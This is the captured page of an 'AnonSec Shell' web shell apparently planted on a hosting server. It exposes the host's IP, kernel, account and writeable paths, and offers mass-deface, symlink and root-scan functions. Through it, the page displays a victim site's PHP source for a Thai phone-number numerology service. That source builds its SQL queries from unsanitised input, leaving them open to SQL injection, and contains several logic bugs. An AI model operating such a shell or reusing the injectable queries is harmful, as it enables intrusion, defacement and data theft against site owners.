AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/class/%%%phone_Class.php
<?php
class Phone  extends Connect
{
	public function phonenumber($var)//in:1234567891  //out:  123-456-7891
	{
		$phone = substr($var,0,3).'-'. substr($var,3,3).'-'. substr($var,6,4);
		return $phone;
	}
	public function phonenumber_total($var)//in:0893353222  //out:37
	{
		$pos2 =  substr($var, 1, 1);
		$pos3 =  substr($var, 2, 1);
		$pos4 =  substr($var, 3, 1);
		$pos5 =  substr($var, 4, 1);
		$pos6 =  substr($var, 5, 1);
		$pos7 =  substr($var, 6, 1);
		$pos8 =  substr($var, 7, 1);
		$pos9 =  substr($var, 8, 1);
		$pos10 =  substr($var, 9, 1);	
		
		$total = $pos2 + $pos3 + $pos4 + $pos5 + $pos6 + $pos7 + $pos8 + $pos9 + $pos10;
		return $total;
	}
	public function meaning_total($var)//in:37  //out:ความหมาย
	{
		$this->setconnect();
		$query = "SELECT * FROM sumnumber WHERE number LIKE '%land%'";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		return $row['detail'];
	}
	public function element($var)//in:ผลรวม  //out:ธาตุ
	{
		$var = trim($var);
		$len = strlen($var);
		if($len == 1)
		{
			$sum = $var;
		}
		if($len == 2)
		{
			$s_s1 = substr($var,0,1);
			$s_s2 = substr($var,1,1);
			$sum = $s_s1+$s_s2;
		}
		if($len == 3)
		{
			$s_s1 = substr($var,0,1);
			$s_s2 = substr($var,1,1);
			$s_s3 = substr($var,1,2);
			$sum = $s_s1+$s_s2+$s_s3;
		}
		$sum_len = strlen($sum);
		if($sum_len == 2)
		{
			$s_s1 = substr($sum,0,1);
			$s_s2 = substr($sum,1,1);
			$sum = $s_s1+$s_s2;
		}
		if($sum == 1 || $sum == 2 || $sum == 8 )
		{
			$txt = '2';//น้ำ	
		}
		if($sum == 3 || $sum == 4 || $sum == 7 )
		{
			$txt = '1';//ดิน	
		}
		if($sum == 6 )
		{
			$txt = '3';//ลม	
		}
		if($sum == 5 || $sum == 9 || $sum == 0 )
		{
			$txt = '4';//ไฟ	
		}
		
		return $txt;
	}
	public function element_text_img($var)//id ธาตุ
	{
		$this->setconnect();
		$query = "SELECT * FROM element WHERE id = '".$var."'";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		
		$element['id']=$row['id'];
		$element['name']=$row['name'];
		$element['img']=$row['image'];
		
		return $element;
	}
	public function element_forecast($var)//id ธาตุ
	{
		$this->setconnect();
		$query = "SELECT * FROM element WHERE id = '".$var."'";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		
		$element['id']=$row['id'];
		$element['name']=$row['name'];
		
		if($row['id'] == 1){ $element['nameimg'] = 'clay';}
		if($row['id'] == 2){ $element['nameimg'] = 'water';}
		if($row['id'] == 3){ $element['nameimg'] = 'wind';}
		if($row['id'] == 4){ $element['nameimg'] = 'light';}
		
		
		return $element;
	}
	
	
	public function mobilenetwork_img($var)//id ค่ายมือถือ
	{
		
		$this->setconnect();
		$query = "SELECT * FROM mobilenetwork WHERE id = '".$var."'";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		return $row['image'];
	}
	public function category($var)//in:ผลรวม  //out:เลขหมวดหมู่ 1,2
	{
		$this->setconnect();
		$query = "SELECT * FROM meaningnumber WHERE number LIKE '%".$var."%' AND status = 1";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		return $row['category'];
	}
	public function total_short($var)//in:ผลรวม  //out:ความหมายโดยย่อ
	{
		$this->setconnect();
		$query = "SELECT * FROM meaningnumber WHERE number LIKE '%".$var."%' AND status = 1";
		$result = mysql_query($query) or die('Query failed: ' . mysql_error());
		$row = mysql_fetch_assoc($result);
		return $row['title'];
	}
	public function scorestar_delete($var)//in:คแนน  //out:รูปดาว 5รูป
	{
		$var1 = $var*5/100;
		
		if($var1 == 0)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 0 && $var1 <= 0.5)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_11.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 0.5 && $var1 <= 1)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 1 && $var1 <= 1.5)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_11.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 1.5 && $var1 <= 2)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 2 && $var1 <= 2.5)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_11.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 2.5 && $var1 <= 3)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 3 && $var1 <= 3.5)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_11.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 3.5 && $var1 <= 4)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 4 && $var1 <= 4.5)
		{ 
			$img = ' 
		<img src="../image/star_11.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 4.5 && $var1 <= 5)
		{ 
			$img = ' 
		<img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_07.png" class="star-img-responsive">&nbsp;
		';
		}
		
		return $img;
	}
	public function scorestar_plus($var)//in:คแนน  //out:รูปดาว 5รูป
	{
		$var1 = $var*5/100;
		
		if($var1 == 0)
		{ 
			$img = ' 
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
		';
		}
		if($var1 > 0 && $var1 <= 0.5)
		{ 
			$img = ' 
		<img src="../image/star_12.png" class="star-img-responsive">&nbsp;
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        
		';
		}
		if($var1 > 0.5 && $var1 <= 1)
		{ 
			$img = ' 
		<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        
		';
		}
		if($var1 > 1 && $var1 <= 1.5)
		{ 
			$img = ' 
			<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_12.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
       
        
		';
		}
		if($var1 > 1.5 && $var1 <= 2)
		{ 
			$img = ' 
		<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        
		';
		}
		if($var1 > 2 && $var1 <= 2.5)
		{ 
			$img = ' 
			<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_12.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
       
       
		';
		}
		if($var1 > 2.5 && $var1 <= 3)
		{ 
			$img = ' 
		<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        
		';
		}
		if($var1 > 3 && $var1 <= 3.5)
		{ 
			$img = ' 
			<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_12.png" class="star-img-responsive">&nbsp;
			<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
       
        
		';
		}
		if($var1 > 3.5 && $var1 <= 4)
		{ 
			$img = ' 
		<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
		<img src="../image/star_03.png" class="star-img-responsive">&nbsp;
        
		';
		}
		if($var1 > 4 && $var1 <= 4.5)
		{ 
			$img = ' 
		 <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
		<img src="../image/star_12.png" class="star-img-responsive">&nbsp;
       
		';
		}
		if($var1 > 4.5 && $var1 <= 5)
		{ 
			$img = ' 
		<img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
        <img src="../image/star_08.png" class="star-img-responsive">&nbsp;
		';
		}
		
		return $img;
	}
	public function cat_number($var)//in:idหมวด //out:sql หมวด
	{
		if($var==7)//ความรัก
		{
			$cat_sql = "phonenumber LIKE '___%63%' OR phonenumber LIKE '___%36%' OR  
			phonenumber LIKE '___%66%' OR 
			phonenumber LIKE '___%24%' OR phonenumber LIKE '___%42%' OR 
			phonenumber LIKE '___%624%' OR phonenumber LIKE '___%642%' OR 
			phonenumber LIKE '___%426%' OR phonenumber LIKE '___%462%' OR 
			phonenumber LIKE '___%246%' OR phonenumber LIKE '___%264%' 
			";
		}
		if($var==8)//การเรียน/การงาน
		{
			//หุ้น / วิศวะ /อสังหา 
			$cat_sql = "phonenumber LIKE '___%789%' OR phonenumber LIKE '___%798%' OR  
			phonenumber LIKE '___%987%' OR phonenumber LIKE '___%978%' OR 
			phonenumber LIKE '___%879%' OR phonenumber LIKE '___%897%' OR 
			phonenumber LIKE '___%979%' OR 
			phonenumber LIKE '___%97%' OR phonenumber LIKE '___%79%' OR 
			phonenumber LIKE '___%98%' OR phonenumber LIKE '___%89%' OR 
			"."
			phonenumber LIKE '___%168%' OR phonenumber LIKE '___%186%' OR 
			phonenumber LIKE '___%681%' OR phonenumber LIKE '___%618%' OR 
			phonenumber LIKE '___%816%' OR phonenumber LIKE '___%861%' OR 
			phonenumber LIKE '___%289%' OR phonenumber LIKE '___%298%' OR 
			phonenumber LIKE '___%829%' OR phonenumber LIKE '___%892%' OR 
			phonenumber LIKE '___%928%' OR phonenumber LIKE '___%982%' OR 
			".
			//ขายตรง /แม่ค้าออนไลน์
			"
			phonenumber LIKE '___%24%' OR phonenumber LIKE '___%42%' OR 
			phonenumber LIKE '___%624%' OR phonenumber LIKE '___%642%' OR 
			phonenumber LIKE '___%246%' OR phonenumber LIKE '___%264%' OR 
			phonenumber LIKE '___%426%' OR phonenumber LIKE '___%462%' OR 
			phonenumber LIKE '___%241%' OR
			".
			//การศึกษา / ราชการ / ทนาย /หมอ /พยาบาล
			"
			phonenumber LIKE '___%45%' OR phonenumber LIKE '___%54%' OR 
			phonenumber LIKE '___%56%' OR phonenumber LIKE '___%56%' OR 
			phonenumber LIKE '___%55%' OR 
			phonenumber LIKE '___%415%' OR phonenumber LIKE '___%451%' OR  
			phonenumber LIKE '___%514%' OR phonenumber LIKE '___%541%' OR 
			phonenumber LIKE '___%145%' OR phonenumber LIKE '___%154%' OR 
			"
			.
			//ทหาร / ตำรวจ
			"
			phonenumber LIKE '___%35%' OR phonenumber LIKE '___%53%' 
			"
			;
		}	
		if($var==10)//อุปภัมภ์
		{
			$cat_sql = "phonenumber LIKE '___%45%' OR phonenumber LIKE '___%54%' OR  
			phonenumber LIKE '___%56%' OR phonenumber LIKE '___%65%' OR 
			phonenumber LIKE '___%55%' OR 
			phonenumber LIKE '___%15%' OR phonenumber LIKE '___%51%' OR 
			phonenumber LIKE '___%59%' OR phonenumber LIKE '___%95%'
			";
		}
		if($var==11)//การเงิน / โชคลาภ
		{
			$cat_sql = "phonenumber LIKE '___%168%' OR phonenumber LIKE '___%186%' OR  
			phonenumber LIKE '___%681%' OR phonenumber LIKE '___%618%' OR 
			phonenumber LIKE '___%816%' OR phonenumber LIKE '___%861%' OR 
			phonenumber LIKE '___%289%' OR phonenumber LIKE '___%298%' OR 
			phonenumber LIKE '___%982%' OR phonenumber LIKE '___%928%' OR 
			phonenumber LIKE '___%829%' OR phonenumber LIKE '___%892%' OR
			".
			//หุ้น / วิศวะ /อสังหา 
			"
			phonenumber LIKE '___%789%' OR phonenumber LIKE '___%798%' OR  
			phonenumber LIKE '___%987%' OR phonenumber LIKE '___%978%' OR 
			phonenumber LIKE '___%879%' OR phonenumber LIKE '___%897%' OR 
			phonenumber LIKE '___%98%' OR phonenumber LIKE '___%89%'
			";
		}
		if($var==12)//ครอบครัว
		{
			$cat_sql = "
			phonenumber LIKE '___%63%' OR phonenumber LIKE '___%36%' OR 
			phonenumber LIKE '___%66%' OR 
			phonenumber LIKE '___%24%' OR phonenumber LIKE '___%42%' OR 
			phonenumber LIKE '___%624%' OR phonenumber LIKE '___%642%' OR  
			phonenumber LIKE '___%426%' OR phonenumber LIKE '___%462%' OR
			phonenumber LIKE '___%246%' OR phonenumber LIKE '___%264%' OR  
			".
			//การศึกษา / ราชการ / ทนาย /หมอ /พยาบาล
			"
			phonenumber LIKE '___%45%' OR phonenumber LIKE '___%54%' OR 
			phonenumber LIKE '___%56%' OR phonenumber LIKE '___%56%' OR 
			phonenumber LIKE '___%55%' OR 
			phonenumber LIKE '___%415%' OR phonenumber LIKE '___%451%' OR  
			phonenumber LIKE '___%514%' OR phonenumber LIKE '___%541%' OR 
			phonenumber LIKE '___%145%' OR phonenumber LIKE '___%154%' OR 
			phonenumber LIKE '___%15%' OR phonenumber LIKE '___%51%' OR 
			phonenumber LIKE '___%59%' OR phonenumber LIKE '___%95%'  
			"
			;
		}
		if($var==13)//มิตรภาพ/สังคม
		{
			$cat_sql = "
			phonenumber LIKE '___%64%' OR phonenumber LIKE '___%46%' OR 
			phonenumber LIKE '___%45%' OR phonenumber LIKE '___%54%' OR 
			phonenumber LIKE '___%56%' OR phonenumber LIKE '___%56%' OR 
			phonenumber LIKE '___%415%' OR phonenumber LIKE '___%451%' OR  
			phonenumber LIKE '___%514%' OR phonenumber LIKE '___%541%' OR 
			phonenumber LIKE '___%145%' OR phonenumber LIKE '___%154%' OR 
			phonenumber LIKE '___%55%' OR 
			phonenumber LIKE '___%15%' OR phonenumber LIKE '___%51%' OR 
			phonenumber LIKE '___%59%' OR phonenumber LIKE '___%95%'  
			";
		}
		if($var==16)//สุขภาพ
		{
			$cat_sql = "
			phonenumber LIKE '___%38%' OR phonenumber LIKE '___%83%' OR
			phonenumber NOT LIKE '___%0%' AND
			phonenumber NOT LIKE '___%7%' AND
			phonenumber NOT LIKE '___%37%' AND phonenumber NOT LIKE '___%73%' AND 
			phonenumber NOT LIKE '___%27%' AND phonenumber NOT LIKE '___%72%' AND 
			phonenumber NOT LIKE '___%13%' AND phonenumber NOT LIKE '___%13%' AND 
			phonenumber NOT LIKE '___%23%' AND phonenumber NOT LIKE '___%32%' AND 
			phonenumber NOT LIKE '___%18%' AND phonenumber NOT LIKE '___%81%' AND
			phonenumber NOT LIKE '___%28%' AND phonenumber NOT LIKE '___%82%' AND  
			phonenumber NOT LIKE '___%48%' AND phonenumber NOT LIKE '___%84%' AND 
			phonenumber NOT LIKE '___%58%' AND phonenumber NOT LIKE '___%85%' AND
			phonenumber NOT LIKE '___%68%' AND phonenumber NOT LIKE '___%86%' AND
			phonenumber NOT LIKE '___%78%' AND phonenumber NOT LIKE '___%87%' AND
			phonenumber NOT LIKE '___%88%' AND phonenumber NOT LIKE '___%88%' AND
			phonenumber NOT LIKE '___%98%' AND phonenumber NOT LIKE '___%89%' AND     
			".
			"
			phonenumber NOT LIKE '___%168%' AND phonenumber NOT LIKE '___%186%' AND 
			phonenumber NOT LIKE '___%618%' AND phonenumber NOT LIKE '___%681%' AND 
			phonenumber NOT LIKE '___%816%' AND phonenumber NOT LIKE '___%861%' AND 
			phonenumber NOT LIKE '___%289%' AND phonenumber NOT LIKE '___%298%' AND 
			phonenumber NOT LIKE '___%829%' AND phonenumber NOT LIKE '___%892%' AND 
			phonenumber NOT LIKE '___%928%' AND phonenumber NOT LIKE '___%982%' 
			";
		}
		if($var==17)//แคล้วคลาด
		{
			$cat_sql = "
			phonenumber LIKE '___%49%' OR phonenumber LIKE '___%94%' OR 
			phonenumber LIKE '___%09%' OR phonenumber LIKE '___%90%' OR 
			phonenumber LIKE '___%39%' OR phonenumber LIKE '___%93%' OR 
			phonenumber LIKE '___%99%'
			";
		}		
	
		
		return $cat_sql;
	}
	public function catshort_number($id,$var)//in:idหมวด , 	เบอร์ 10หลัก  //out:ข้อความสั้น หมวด
	{
		
		$pho = substr($var,3,7);
		for($i=0;$i<=5;$i++)
		{
			$pho_2[] = substr($pho,$i,2);
		}
		for($i=0;$i<=4;$i++)
		{
			$pho_2[] = substr($pho,$i,3);
		}
		if($id==7 || $id=='')//ความรัก
		{
			if($ch == ''){$ch = in_array('624',$pho_2); if($ch==1){ $num = '624';}}
			if($ch == ''){$ch = in_array('642',$pho_2); if($ch==1){ $num = '642';}}
			if($ch == ''){$ch = in_array('246',$pho_2); if($ch==1){ $num = '246';}}
			if($ch == ''){$ch = in_array('264',$pho_2); if($ch==1){ $num = '264';}}
			if($ch == ''){$ch = in_array('426',$pho_2); if($ch==1){ $num = '426 ';}}
			if($ch == ''){$ch = in_array('462',$pho_2); if($ch==1){ $num = '462';}}
			if($ch == ''){$ch = in_array('36',$pho_2); if($ch==1){ $num = '36';}}
			if($ch == ''){$ch = in_array('63',$pho_2); if($ch==1){ $num = '63';}}
			if($ch == ''){$ch = in_array('66',$pho_2); if($ch==1){ $num = '66';}}
			if($ch == ''){$ch = in_array('24',$pho_2); if($ch==1){ $num = '24';}}
			if($ch == ''){$ch = in_array('42',$pho_2); if($ch==1){ $num = '42';}}
		}
		if($id==8 || $id=='')//การเรียน/การงาน
		{
			//การเรียน/การงาน
			if($ch == ''){$ch = in_array('415',$pho_2); if($ch==1){ $num = '415';}}
			if($ch == ''){$ch = in_array('451',$pho_2); if($ch==1){ $num = '451';}}
			if($ch == ''){$ch = in_array('514',$pho_2); if($ch==1){ $num = '514';}}
			if($ch == ''){$ch = in_array('541',$pho_2); if($ch==1){ $num = '541';}}
			if($ch == ''){$ch = in_array('145',$pho_2); if($ch==1){ $num = '145';}}
			if($ch == ''){$ch = in_array('154',$pho_2); if($ch==1){ $num = '154';}}
			if($ch == ''){$ch = in_array('45',$pho_2); if($ch==1){ $num = '45';}}
			if($ch == ''){$ch = in_array('54',$pho_2); if($ch==1){ $num = '54';}}
			if($ch == ''){$ch = in_array('56',$pho_2); if($ch==1){ $num = '56';}}
			if($ch == ''){$ch = in_array('65',$pho_2); if($ch==1){ $num = '65';}}
			if($ch == ''){$ch = in_array('55',$pho_2); if($ch==1){ $num = '55';}}
			//อสังหา วิศวะ หุ้น
			if($ch == ''){$ch = in_array('979',$pho_2); if($ch==1){ $num = 'ก่อสร้างงานใหญ่';}}
			if($ch == ''){$ch = in_array('789',$pho_2); if($ch==1){ $num = 'อภิมหาโภคทรัพย์';}}
			if($ch == ''){$ch = in_array('798',$pho_2); if($ch==1){ $num = 'เจ้าสัวแห่งหลักทรัพย์';}}
			if($ch == ''){$ch = in_array('879',$pho_2); if($ch==1){ $num = 'พ่อมดการเงิน';}}
			if($ch == ''){$ch = in_array('897',$pho_2); if($ch==1){ $num = 'เสี่ยรุ่นใหญ่';}}
			if($ch == ''){$ch = in_array('978',$pho_2); if($ch==1){ $num = 'เศรษฐีแห่งยุค';}}
			if($ch == ''){$ch = in_array('987',$pho_2); if($ch==1){ $num = 'ราชาแห่งความสำเร็จ';}}
			if($ch == ''){$ch = in_array('97',$pho_2); if($ch==1){ $num = 'เถ้าแก่';}}
			if($ch == ''){$ch = in_array('79',$pho_2); if($ch==1){ $num = 'ก่อสร้างงานใหญ่';}}
			if($ch == ''){$ch = in_array('89',$pho_2); if($ch==1){ $num = 'นักลงทุนรุ่นใหญ่';}}
			if($ch == ''){$ch = in_array('98',$pho_2); if($ch==1){ $num = 'นักลงทุนรุ่นใหญ่';}}
			//ขาย ขายตรง ขายออนไลน์
			if($ch == ''){$ch = in_array('241',$pho_2); if($ch==1){ $num = 'วาจาสง่างาม';}}
			if($ch == ''){$ch = in_array('624',$pho_2); if($ch==1){ $num = 'วาจาสุภาษิต';}}
			if($ch == ''){$ch = in_array('642',$pho_2); if($ch==1){ $num = 'สาริกามหาเสน่ห์';}}
			if($ch == ''){$ch = in_array('246',$pho_2); if($ch==1){ $num = 'วาจาพารวย';}}
			if($ch == ''){$ch = in_array('264',$pho_2); if($ch==1){ $num = 'มหามิตรภาพ';}}
			if($ch == ''){$ch = in_array('426',$pho_2); if($ch==1){ $num = 'สุถาพวาจา';}}
			if($ch == ''){$ch = in_array('462',$pho_2); if($ch==1){ $num = 'สหายไม่สิ้นสุด';}}
			if($ch == ''){$ch = in_array('24',$pho_2); if($ch==1){ $num = 'สาริกาลิ้นทอง';}}
			if($ch == ''){$ch = in_array('42',$pho_2); if($ch==1){ $num = 'เสน่ห์ต้องมนต์';}}
			//ตำรวจ ทหาร
			if($ch == ''){$ch = in_array('35',$pho_2); if($ch==1){ $num = 'อำนาจเด็ดขาด';}}
			if($ch == ''){$ch = in_array('53',$pho_2); if($ch==1){ $num = 'ผู้นำสูงสุด';}}
		}
		if($id==10 || $id=='')//อุปภัมภ์
		{
			if($ch == ''){$ch = in_array('45',$pho_2); if($ch==1){ $num = 'ผู้ใหญ่ค้ำจุน';}}
			if($ch == ''){$ch = in_array('54',$pho_2); if($ch==1){ $num = 'ผู้ใหญ่ปกปักษ์';}}
			if($ch == ''){$ch = in_array('56',$pho_2); if($ch==1){ $num = 'ดาวอุปภัมภ์';}}
			if($ch == ''){$ch = in_array('65',$pho_2); if($ch==1){ $num = 'เทวดาค้ำจุน';}}
			if($ch == ''){$ch = in_array('55',$pho_2); if($ch==1){ $num = '55';}}
			if($ch == ''){$ch = in_array('15',$pho_2); if($ch==1){ $num = '15';}}
			if($ch == ''){$ch = in_array('51',$pho_2); if($ch==1){ $num = '51';}}
			if($ch == ''){$ch = in_array('59',$pho_2); if($ch==1){ $num = '59';}}
			if($ch == ''){$ch = in_array('95',$pho_2); if($ch==1){ $num = '95';}}
		}
		if($id==11 || $id=='')//การเงิน / โชคลาภ
		{
			if($ch == ''){$ch = in_array('168',$pho_2); if($ch==1){ $num = '168';}}
			if($ch == ''){$ch = in_array('186',$pho_2); if($ch==1){ $num = '186';}}
			if($ch == ''){$ch = in_array('618',$pho_2); if($ch==1){ $num = '618';}}
			if($ch == ''){$ch = in_array('681',$pho_2); if($ch==1){ $num = '681';}}
			if($ch == ''){$ch = in_array('816',$pho_2); if($ch==1){ $num = '816';}}
			if($ch == ''){$ch = in_array('861',$pho_2); if($ch==1){ $num = '861';}}
			if($ch == ''){$ch = in_array('289',$pho_2); if($ch==1){ $num = '289';}}
			if($ch == ''){$ch = in_array('298',$pho_2); if($ch==1){ $num = '298';}}
			if($ch == ''){$ch = in_array('829',$pho_2); if($ch==1){ $num = '829';}}
			if($ch == ''){$ch = in_array('892',$pho_2); if($ch==1){ $num = '892';}}
			if($ch == ''){$ch = in_array('928',$pho_2); if($ch==1){ $num = '928';}}
			//อสังหา วิศวะ หุ้น
			if($ch == ''){$ch = in_array('979',$pho_2); if($ch==1){ $num = '979';}}
			if($ch == ''){$ch = in_array('789',$pho_2); if($ch==1){ $num = '789';}}
			if($ch == ''){$ch = in_array('798',$pho_2); if($ch==1){ $num = '798';}}
			if($ch == ''){$ch = in_array('879',$pho_2); if($ch==1){ $num = '879';}}
			if($ch == ''){$ch = in_array('897',$pho_2); if($ch==1){ $num = '897';}}
			if($ch == ''){$ch = in_array('978',$pho_2); if($ch==1){ $num = '978';}}
			if($ch == ''){$ch = in_array('987',$pho_2); if($ch==1){ $num = '987';}}
			if($ch == ''){$ch = in_array('89',$pho_2); if($ch==1){ $num = '89';}}
			if($ch == ''){$ch = in_array('98',$pho_2); if($ch==1){ $num = '98';}}
		}
		if($id==12 || $id=='')//ครอบครัว
		{
			//ความรัก
			if($ch == ''){$ch = in_array('624',$pho_2); if($ch==1){ $num = '624';}}
			if($ch == ''){$ch = in_array('642',$pho_2); if($ch==1){ $num = '642';}}
			if($ch == ''){$ch = in_array('246',$pho_2); if($ch==1){ $num = '246';}}
			if($ch == ''){$ch = in_array('264',$pho_2); if($ch==1){ $num = '264';}}
			if($ch == ''){$ch = in_array('426',$pho_2); if($ch==1){ $num = '426';}}
			if($ch == ''){$ch = in_array('462',$pho_2); if($ch==1){ $num = '462';}}
			if($ch == ''){$ch = in_array('36',$pho_2); if($ch==1){ $num = '36';}}
			if($ch == ''){$ch = in_array('63',$pho_2); if($ch==1){ $num = '63';}}
			if($ch == ''){$ch = in_array('66',$pho_2); if($ch==1){ $num = '66';}}
			if($ch == ''){$ch = in_array('24',$pho_2); if($ch==1){ $num = '24';}}
			if($ch == ''){$ch = in_array('42',$pho_2); if($ch==1){ $num = '42';}}
			//การเรียน/การงาน
